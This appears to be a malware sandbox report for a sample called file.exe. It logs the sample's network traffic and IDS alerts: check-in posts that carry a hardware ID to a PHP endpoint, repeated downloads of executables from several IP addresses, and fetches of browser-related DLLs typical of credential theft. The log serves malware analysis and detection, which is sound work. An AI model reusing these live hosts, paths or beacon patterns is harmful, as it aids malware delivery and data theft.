Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJECAAEHCFIEBGCBGHIEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 36 43 36 43 45 44 44 32 35 32 45 33 34 34 31 30 34 31 38 31 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 2d 2d 0d 0a Data Ascii: ------JJECAAEHCFIEBGCBGHIEContent-Disposition: form-data; name="hwid"A6C6CEDD252E3441041814------JJECAAEHCFIEBGCBGHIEContent-Disposition: form-data; name="build"stok------JJECAAEHCFIEBGCBGHIE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49711 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49724 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49741 -> 172.67.177.250:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49746 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49763 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49771 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49748 -> 172.67.177.250:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49770 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49778 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49784 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49797 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49794 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49804 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.8:49795 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49817 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49816 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49823 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49840 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49815 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.8:49850 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49862 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49908 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49924 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49939 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49957 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49969 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.8:49968 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49974 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49991 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:50006 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:50038 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.8:50056 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:50057 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.8:50073 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:50085 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:50755 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:50764 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:50774 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:50759 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:50778 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.8:50783 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:50747 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:50769 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:50744 -> 104.21.50.161:443

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CEE0C0 recv,recv,recv,recv,

0_2_00CEE0C0

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlaHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlaHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /files/7850253564/muNJF0r.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/flava/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /files/encoxx/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 16 Dec 2024 11:36:53 GMTIf-None-Match: "676010d5-1ca600"
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 16 Dec 2024 11:36:47 GMTIf-None-Match: "676010cf-1bd000"
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 16 Dec 2024 11:34:42 GMTIf-None-Match: "67601052-ecc00"
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 16 Dec 2024 11:35:10 GMTIf-None-Match: "6760106e-2b7e00"
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
